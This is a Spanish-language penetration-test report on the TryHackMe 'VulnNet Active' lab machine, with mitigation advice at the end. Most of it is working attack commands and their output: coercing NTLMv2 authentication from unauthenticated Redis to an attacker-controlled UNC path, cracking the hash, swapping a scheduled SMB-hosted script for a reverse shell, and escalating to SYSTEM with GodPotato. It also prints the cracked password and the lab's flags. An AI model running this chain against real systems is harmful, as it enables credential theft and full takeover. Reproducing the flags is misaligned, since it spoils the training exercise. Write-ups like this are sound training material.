Informe de Prueba de Penetración: VulnNet Active

1. Información General y Resumen Ejecutivo

Campo	Detalle
Cliente	TryHackMe
IP Objetivo	10.144.129.168
Dominio Asociado	vulnnet.local
Consultor	Bender2997_
Fecha de Pruebas	29-03-2026
Criticidad	Crítica
Vectores de Compromiso	Configuración insegura de Redis (Inyección de Hash NTLMv2), Inyección de código en tarea automatizada, Abuso de SeImpersonatePrivilege (GodPotato).

Resumen Ejecutivo

La evaluación de seguridad sobre el servidor de dominio (10.144.129.168) de VulnNet Entertainment reveló vulnerabilidades críticas que permitieron el compromiso total del sistema. El acceso inicial se obtuvo explotando una configuración insegura del servicio Redis (TCP/6379) que permitió el robo del hash NTLMv2 del usuario *enterprise-security* mediante una inyección de ruta UNC. Tras el cracking de la credencial, se logró la ejecución de código remoto mediante la inyección de un reverse shell en un script de tarea programada

(*PurgeIrrelevantData_1826.ps1*) ubicado en un recurso compartido SMB con permisos de escritura.

La explotación culminó con la escalada de privilegios a *NT AUTHORITY\SYSTEM* mediante el abuso del *SeImpersonatePrivilege* con el exploit GodPotato, confirmando el control absoluto del host.

2. Metodología y Fases de Explotación

La metodología se ejecutó bajo un enfoque de caja negra (Black-Box), siguiendo las fases de reconocimiento, análisis de vulnerabilidades y explotación, en línea con los estándares PTES y NIST.

2.1. Fase de Reconocimiento y Enumeración (Nmap, Redis, SMB)

1. **Escaneo de Puertos (Nmap):** Se realizó un escaneo completo, identificando servicios clave como DNS (53/tcp), MSRPC (135/tcp), NetBIOS-SSN (139/tcp), SMB (445/tcp), Kerberos (464/tcp), y, de manera crítica, Redis (6379/tcp).

```
┌──(root㉿kali)-[/home/…/Desktop/PERSONAL/TryHackme/road]
└─# nmap -T5 -sS -sCV -Pn -n -p- --open 10.144.129.168 -oN scan_1.txt
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-29 16:37 -0400
Stats: 0:02:11 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 57.14% done; ETC: 16:39 (0:00:37 remaining)
Nmap scan report for 10.144.129.168
Host is up (0.074s latency).
Not shown: 65521 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
6379/tcp  open  redis         Redis key-value store 2.8.2402
9389/tcp  open  mc-nmf        .NET Message Framing
49666/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49670/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  msrpc         Microsoft Windows RPC
49691/tcp open  msrpc         Microsoft Windows RPC
49801/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2026-03-29T20:39:25
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 176.52 seconds
```

Comando Ejecutado:

`nmap -T5 -sS -sCV -Pn -n -p- --open 10.144.129.168 -oN scan_1.txt`

Servicios Críticos Identificados:

a. 6379/tcp (Redis 2.8.2402): Principal vector de acceso.
b. 464/tcp (kpasswd5/Kerberos): Confirma la naturaleza de Active Directory.
c. 445/tcp (SMB): Servicio de compartición de red.

2. **Exposición de Hash NTLMv2 vía Redis:** Se detectó acceso no autenticado a la interfaz de línea de comandos de Redis.

```
┌──(root㉿kali)-[/home/…/Desktop/PERSONAL/TryHackme/road]
└─# redis-cli -h 10.144.129.168
10.144.129.168:6379> info
# Server
redis_version:2.8.2402
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:b2a45a9622ff23b7
redis_mode:standalone
os:Windows
arch_bits:64
multiplexing_api:winsock_IOCP
process_id:3144
run_id:8e49a59d2258ba23b6978622cd7f3ce72afb9cb3
tcp_port:6379
uptime_in_seconds:914
uptime_in_days:0
hz:10
lru_clock:13209314
config_file:
```

```
10.144.129.168:6379>
10.144.129.168:6379> keys *
(empty array)
10.144.129.168:6379> config get dir
1) "dir"
2) "C:\\Users\\enterprise-security\\Downloads\\Redis-x64-2.8.2402"
10.144.129.168:6379> config get dbfilename
1) "dbfilename"
2) "dump.rdb"
10.144.129.168:6379> config get requirepass
1) "requirepass"
2) ""
```

USER

Esta configuración insegura se explotó para forzar una autenticación NTLMv2:

a. Mecanismo de Explotación: La vulnerabilidad se debe a que Redis no requiere autenticación (parámetro requirepass vacío). El ataque abusa del comando config set dir apuntando a una ruta UNC remota, lo que fuerza al servicio (ejecutado por enterprise-security) a iniciar una negociación de autenticación SMB (NTLMv2) capturada por Responder.

```
10.144.129.168:6379> config set dir \\192.168.128.48\test
(error) ERR Changing directory: Permission denied
10.144.129.168:6379>
```

b. Comando Ejecutado: config set dir \\192.168.128.48\test.
c. Herramienta: Responder (sudo responder -I tun0).
d. Resultado: Captura exitosa de un hash NetNTLMv2 para el usuario enterprise-security.

```
[+] Listening for events...

[SMB] NTLMv2-SSP Client   : 10.144.129.168
[SMB] NTLMv2-SSP Username : VULNNET\enterprise-security
[SMB] NTLMv2-SSP Hash     : enterprise-security::VULNNET:40eef61f1d5bef74:77404EF2F907224529739CA1213020E7:0101000000000000014B06A9CBFDC012680417D9C5157070000000020008004A004400480047000100
```

3. **Hash Cracking:** El hash NetNTLMv2 capturado fue descifrado usando un ataque de diccionario (rockyou.txt).
    a. Comando Ejecutado: hashcat -m 5600 hash_redis.txt /usr/share/wordlists/rockyou.txt.
    b. Credencial Obtenida: enterprise-security:sand_0873959498.

```
Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344393
* Bytes.....: 139921517
* Keyspace..: 14344386
* Runtime...: 1 sec

ENTERPRISE-SECURITY::VULNNET:0e53c1323b7079bd:ff899a329655b948c7ceaa62ea9705d5:0101000000000000080fb0e2193bfdc01f9f169ecb1ee7ad
c000000000200080042004600300043001001e00570049004e002d004c00390032004e005500510056004f004600430037000400340057004900 4e002d004
c00390032004e005500510056004f004600430037002e00420046003000430 02e004c004f004300410 04c000300140042004600300043002e004c004f00430
041004c000500140042004600300043002e004c004f00430041004c000700080080fb0e2193bfdc0106000400020000000800300030000000000000000000000
000003000001b828a50e6200834e04f046848e9478ba0f007f1fd9a2ac94354a51f6ee1a6f50a001000000000000000000000000000000000000000000000000
06900660073002f003100390032002e003100360038002e003100320038002e003400380000000000000000000:sand_0873959498

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: ENTERPRISE-SECURITY::VULNNET:0e53c1323b7079bd:ff899...000000
Time.Started.....: Sun Mar 29 15:49:36 2026 (6 secs)
Time.Estimated...: Sun Mar 29 15:49:42 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
```

2.2. Fase de Acceso Inicial y Compromiso

4. **Enumeración de Recursos Compartidos (SMB):** Se validaron las credenciales obtenidas mediante nxc smb, identificando el recurso Enterprise-Share con permisos de lectura y escritura (READ, WRITE).

```
┌──(root㉿kali)-[/home/…/Desktop/PERSONAL/TryHackme/VulnNet_Active]
└─# nxc smb 10.144.129.168 -u 'enterprise-security' -p 'sand_0873959498' -d 'vulnnet.local'
SMB         10.144.129.168  445    VULNNET-BC3TCK1  [*] Windows 10 / Server 2019 Build 17763 x64 (name:VULNNET-BC3TCK1) (domain:vulnnet.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.144.129.168  445    VULNNET-BC3TCK1  [+] vulnnet.local\enterprise-security:sand_0873959498
```

```
┌──(root㉿kali)-[/home/…/Desktop/PERSONAL/TryHackme/VulnNet_Active]
└─# nxc smb 10.144.129.168 -u 'enterprise-security' -p 'sand_0873959498' -d 'vulnnet.local' --shares
SMB         10.144.129.168  445    VULNNET-BC3TCK1  [*] Windows 10 / Server 2019 Build 17763 x64 (name:VULNNET-BC3TCK1) (domain:vulnnet.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.144.129.168  445    VULNNET-BC3TCK1  [+] vulnnet.local\enterprise-security:sand_0873959498
SMB         10.144.129.168  445    VULNNET-BC3TCK1  [*] Enumerated shares
SMB         10.144.129.168  445    VULNNET-BC3TCK1  Share           Permissions     Remark
SMB         10.144.129.168  445    VULNNET-BC3TCK1  -----           -----           ------
SMB         10.144.129.168  445    VULNNET-BC3TCK1  ADMIN$                          Remote Admin
SMB         10.144.129.168  445    VULNNET-BC3TCK1  C$                              Default share
SMB         10.144.129.168  445    VULNNET-BC3TCK1  Enterprise-Share READ,WRITE
SMB         10.144.129.168  445    VULNNET-BC3TCK1  IPC$            READ            Remote IPC
SMB         10.144.129.168  445    VULNNET-BC3TCK1  NETLOGON        READ            Logon server share
SMB         10.144.129.168  445    VULNNET-BC3TCK1  SYSVOL          READ            Logon server share
```

```
┌──(root㉿kali)-[/home/…/Desktop/PERSONAL/TryHackme/VulnNet_Active]
└─# smbclient //10.144.129.168/Enterprise-Share -U 'enterprise-security' --password 'sand_0873959498'
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Tue Feb 23 17:45:41 2021
  ..                                  D        0  Tue Feb 23 17:45:41 2021
  PurgeIrrelevantData_1826.ps1        A      798  Sun Mar 29 16:27:44 2026

                9558271 blocks of size 4096. 5135991 blocks available
smb: \> get PurgeIrrelevantData_1826.ps1
getting file \PurgeIrrelevantData_1826.ps1 of size 798 as PurgeIrrelevantData_1826.ps1 (2.6 KiloBytes/sec) (average 2.6 KiloBytes/sec)
smb: \>
```

```
┌──(root㉿kali)-[/home/…/Desktop/PERSONAL/TryHackme/VulnNet_Active]
└─# cat PurgeIrrelevantData_1826.ps1
rm -Force C:\Users\Public\Documents\* -ErrorAction SilentlyContinue
```

5. **Inyección de reverse shell en Tarea Programada:** El script PurgeIrrelevantData_1826.ps1 fue identificado como una tarea programada automatizada que se ejecutaba con privilegios elevados, dada su ubicación y contenido original (rm -Force C:\Users\Public\Documents*). El contenido fue reemplazado por un reverse shell.

```
┌──(root㉿kali)-[/home/…/Desktop/PERSONAL/TryHackme/VulnNet_Active]
└─# smbclient //10.144.129.168/Enterprise-Share -U 'enterprise-security%sand_0873959498' -c 'put PurgeIrrelevantData_1826.ps1'
putting file PurgeIrrelevantData_1826.ps1 as \PurgeIrrelevantData_1826.ps1 (3.4 kB/s) (average 3.4 kB/s)
```

```
┌──(root㉿kali)-[/home/…/Desktop/PERSONAL/TryHackme/VulnNet_Active]
└─# rlwrap nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.128.48] from (UNKNOWN) [10.144.129.168] 49725
whoami
vulnnet\enterprise-security
```

Comando de Subida del Payload:

`smbclient //10.144.129.168/Enterprise-Share -U 'enterprise-security%sand_0873959498' -c 'put PurgeIrrelevantData_1826.ps1'`

```
C:\Users\enterprise-security\Downloads
cd ..

ls
3D Objects Contacts Desktop Documents Downloads Favorites Links Music Pictures Saved Games Searches Videos
cd Desktop

ls
user.txt
cat user.txt
THM{3eb176aee96432d5b100bc93580b291e}
```

Flag de Usuario: THM{3eb176aee96432d5b100bc93580b291e}.

2.3. Fase de Escalada de Privilegios y Control Total

6. **Análisis de Privilegios:** Se verificaron los privilegios del usuario mediante whoami /priv, confirmando la presencia de SeImpersonatePrivilege, el cual es el vector principal para la familia de exploits "Potato".

```
whoami /priv
 PRIVILEGES INFORMATION ────────────────────  Privilege Name                Description                             State    ═══════════════════════ ═══════
═══════ ═══════ SeMachineAccountPrivilege     Add workstations to domain              Disabled SeChangeNotifyPrivilege       Bypass traverse checking                Enabled  SeImpe
rsonatePrivilege        Impersonate a client after authentication Enabled  SeCreateGlobalPrivilege       Create global objects                   Enabled  SeIncreaseWorkingSetPrivilege Inc
rease a process working set            Disabled
```

7. **Intento de Escalada con PrintSpoofer (github.com/BeichenDream/GodPotato/releases/tag/V1.20) (Fallo):** Se intentó abusar del privilegio SeImpersonatePrivilege mediante PrintSpoofer para explotar el

servicio Print Spooler de Windows. A pesar de que el servicio estaba activo, el exploit no logró la escalada.

```
(Get-Service Spooler).Status
Running
```

PrintSpoofer Latest

Compiled binaries

▾ **Assets** 4

PrintSpoofer32.exe	21.5 KB	Sep 10, 2020
PrintSpoofer64.exe	26.5 KB	Sep 10, 2020
Source code (zip)		May 13, 2020
Source code (tar.gz)		May 13, 2020

```
┌──(root㉿kali)-[/home/…/Desktop/PERSONAL/TryHackme/VulnNet_Active]
└─# smbclient //10.144.129.168/Enterprise-Share -U 'enterprise-security%sand_0873959498' -c 'put PrintSpoofer32.exe ps.exe'
putting file PrintSpoofer32.exe as \ps.exe (71.9 kB/s) (average 71.9 kB/s)
```

```
net share
 Share name   Resource                      Remark  ─────────────────────────────────────────────────────────────────────────────── C$          C:\                          Default sh
are                    IPC$                                    Remote IPC                          ADMIN$      C:\Windows                   Remote Admin                    Ente
rprise-Share           C:\Enterprise-Share          NETLOGON    C:\Windows\SYSVOL\sysvol\vulnnet.local\SCRIPTS                                                Logon server share
         SYSVOL      C:\Windows\SYSVOL\sysvol       Logon server share                The command completed successfully.
cd C:\Enterprise-Share

ls
ps.exe PurgeIrrelevantData_1826.ps1
.\ps.exe -i -c cmd
```

```
.\ps.exe -i -c cmd

whoami
vulnnet\enterprise-security
```

8. **Escalada Exitosa con GodPotato:** Se utilizó GodPotato, un exploit moderno que utiliza DCOM y RPC para forzar una autenticación de alta autoridad y suplantar el token, logrando ejecución como NT AUTHORITY\SYSTEM.

▾ **Assets** 5

GodPotato-NET2.exe	56 KB	Apr 11, 2023
GodPotato-NET35.exe	56 KB	Apr 11, 2023
GodPotato-NET4.exe	56 KB	Apr 11, 2023
Source code (zip)		Apr 11, 2023
Source code (tar.gz)		Apr 11, 2023

12 11 1 19 people reacted

```
┌──(root㉿kali)-[/home/…/Desktop/PERSONAL/TryHackme/VulnNet_Active]
└─# smbclient //10.144.129.168/Enterprise-Share -U 'enterprise-security%sand_0873959498' -c 'put GodPotato-NET4.exe gp.exe'
putting file GodPotato-NET4.exe as \gp.exe (149.3 kB/s) (average 149.3 kB/s)
```

```
.\gp.exe -cmd "whoami"
[*] CombaseModule: 0x140724323614720 [*] DispatchTable: 0x140724325932208 [*] UseProtseqFunction: 0x140724325311104 [*] UseProtseqFunctionParamCount: 6 [*] HookRPC [*] Start PipeServer [*] Trigger RPCSS [*] Cre
ateNamedPipe \\.\pipe\4abd0565-223a-46dc-8079-5d0bf0afbd22\pipe\epmapper [*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046 [*] DCOM obj IPID: 00005002-079c-ffff-79b8-4d84f0c6b4f3 [*] DCOM obj OXID: 0xed09
c621cb429aa7 [*] DCOM obj OID: 0xc42bf1b90946d1f6 [*] DCOM obj Flags: 0x281 [*] DCOM obj PublicRefs: 0x0 [*] Marshal Object bytes len: 100 [*] UnMarshal Object [*] Pipe Connected! [*] CurrentUser: NT AUTHORITY\
NETWORK SERVICE [*] CurrentsImpersonationLevel: Impersonation [*] Start Search System Token [*] PID : 856 Token:0x804  User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation [*] Find System Token : True [*
] UnmarshalObject: 0x80070776 [*] CurrentUser: NT AUTHORITY\SYSTEM [*] process start with pid 3388
```

```
.\gp.exe -cmd "cmd /c dir C:\Users\Administrator\Desktop\"
[*] CombaseModule: 0x140724323614720 [*] DispatchTable: 0x140724325932208 [*] UseProtseqFunction: 0x140724325311104 [*] UseProtseqFunctionParamCount: 6 [*] HookRPC [*] Start PipeServer [*] Trigger RPCSS [*] Cre
ateNamedPipe \\.\pipe\4d1ccd00-510e-4caa-9384-7fb1356856dd\pipe\epmapper [*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046 [*] DCOM obj IPID: 00000402-0a4c-ffff-3662-c4ec464b141b [*] DCOM obj OXID: 0xecbd
a3741a0eb76b [*] DCOM obj OID: 0x83299875f6edea02 [*] DCOM obj Flags: 0x281 [*] DCOM obj PublicRefs: 0x0 [*] Marshal Object bytes len: 100 [*] UnMarshal Object [*] Pipe Connected! [*] CurrentUser: NT AUTHORITY\
NETWORK SERVICE [*] CurrentsImpersonationLevel: Impersonation [*] Start Search System Token [*] PID : 856 Token:0x804  User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation [*] Find System Token : True [*
] UnmarshalObject: 0x80070776 [*] CurrentUser: NT AUTHORITY\SYSTEM [*] process start with pid 3124  Volume in drive C has no label.  Volume Serial Number is AAC5-C2C2   Directory of C:\Users\Administrator\Deskt
op  02/23/2021  09:27 PM    <DIR>          . 02/23/2021  09:27 PM    <DIR>          .. 02/23/2021  09:27 PM                37 system.txt               1 File(s)             37 bytes                2 Dir(s)  21
,020,680,192 bytes free
```

```
.\gp.exe -cmd "cmd /c type C:\Users\Administrator\Desktop\system.txt"
[*] CombaseModule: 0x140724323614720 [*] DispatchTable: 0x140724325932208 [*] UseProtseqFunction: 0x140724325311104 [*] UseProtseqFunctionParamCount: 6 [*] HookRPC [*] Start PipeServer [*] Trigger RPCSS [*] Cre
ateNamedPipe \\.\pipe\fdf9bd00-38b0-4fa0-8d41-80d63af9a15a\pipe\epmapper [*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046 [*] DCOM obj IPID: 0000a002-0b60-ffff-df9c-5da4ffe42c07 [*] DCOM obj OXID: 0x4ffa
10ffdd5ff66a [*] DCOM obj OID: 0xc10fc7501102b737 [*] DCOM obj Flags: 0x281 [*] DCOM obj PublicRefs: 0x0 [*] Marshal Object bytes len: 100 [*] UnMarshal Object [*] Pipe Connected! [*] CurrentUser: NT AUTHORITY\
NETWORK SERVICE [*] CurrentsImpersonationLevel: Impersonation [*] Start Search System Token [*] PID : 856 Token:0x804  User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation [*] Find System Token : True [*
] UnmarshalObject: 0x80070776 [*] CurrentUser: NT AUTHORITY\SYSTEM [*] process start with pid 1000 THM{d540c0645975900e5bb9167aa431fc9b}
```

Comando de Extracción de Flag:

`.\gp.exe -cmd "cmd /c type C:\Users\Administrator\Desktop\system.txt"`

Flag de Sistema: THM{d540c0645975900e5bb9167aa431fc9b}.

3. Conclusiones y Recomendaciones de Mitigación

3.1. Conclusión

El compromiso total del sistema VulnNet Entertainment (10.144.129.168) se logró explotando una serie de vulnerabilidades de configuración y gestión de privilegios. El vector de acceso inicial fue la configuración insegura del servicio Redis (TCP/6379) que no requería autenticación. Esto permitió forzar la exposición y robo del hash NTLMv2 del usuario enterprise-security mediante la técnica de inyección de ruta UNC en la configuración de *dir* de Redis.

Una vez obtenidas las credenciales, se logró persistencia y ejecución de código remoto mediante la inyección de un reverse shell en el script de una tarea programada (*PurgeIrrelevantData_1826.ps1*) ubicado en un recurso compartido SMB con permisos de escritura. Finalmente, la escalada a *NT AUTHORITY\SYSTEM* fue posible gracias al abuso del privilegio *SeImpersonatePrivilege* utilizando el exploit GodPotato, culminando en el control absoluto del servidor.

3.2. Recomendaciones Críticas

ID	Riesgo	Recomendación de Mitigación	Prioridad
VN-001	Redis Expuesto y No Autenticado	Requerir autenticación (establecer *requirepass*) para el servicio Redis y aplicar reglas de firewall que restrinjan el acceso únicamente a la red interna y a los hosts autorizados.	Crítica
VN-002	Permisos de Escritura en Tareas Programadas	Aplicar listas de control de acceso (ACL) estrictas para eliminar los permisos de escritura del usuario *enterprise-security* y de cualquier usuario de bajo privilegio sobre directorios que contengan scripts o binarios utilizados por tareas programadas de alta autoridad.	Crítica
VN-003	Abuso de SeImpersonatePrivilege	Auditar las cuentas de servicio que poseen el privilegio *SeImpersonatePrivilege*. Cuando sea posible, migrar servicios a Managed Service Accounts (MSA) o Virtual Accounts para adherirse al principio de mínimo privilegio y mitigar ataques de la familia 'Potato'.	Alta

4. Lecciones Aprendidas / Análisis del Ataque

- **Abuso de Redis y Rutas UNC (Fuerza NTLMv2):** Se confirmó que un servicio expuesto y sin autenticación, como Redis, puede ser un vector para el robo de credenciales NTLMv2. La técnica de establecer *config set dir* a una ruta UNC remota obligó al sistema Windows a realizar una negociación de autenticación SMB, lo que expuso el hash del usuario que ejecutaba el servicio (*enterprise-security*), incluso si la operación de Redis fallaba.

- **Inyección en Scripts de Tareas:** La inyección de código en *PurgeIrrelevantData_1826.ps1* fue una técnica efectiva para obtener una reverse shell, ya que se sospechaba que el archivo se ejecutaba como una tarea programada, garantizando una ejecución recurrente del payload con privilegios elevados.
- **El Rol del Privilegio SeImpersonatePrivilege:** Este privilegio, habilitado por defecto en algunas cuentas de servicio, es el vector principal para los ataques de escalada local de la familia 'Potato' (PrintSpoofer, GodPotato). Permite a un proceso suplantar ('impersonate') el token de seguridad de otro proceso de mayor autoridad, como *NT AUTHORITY\SYSTEM*.
- **PrintSpoofer vs. GodPotato:**
    - **PrintSpoofer:** Intenta abusar de la funcionalidad del servicio Print Spooler (RPC) para lograr la suplantación. En este entorno, el exploit falló, lo que sugiere que el sistema operativo o la configuración de seguridad mitigaron el vector tradicional de ataque.
    - **GodPotato:** Demostró ser la alternativa exitosa. Utiliza un mecanismo diferente, explotando el protocolo DCOM y RPC para forzar una autenticación de alta autoridad y suplantar el token de forma efectiva, lo que confirma su solidez en sistemas Windows modernos donde exploits más antiguos pueden fallar.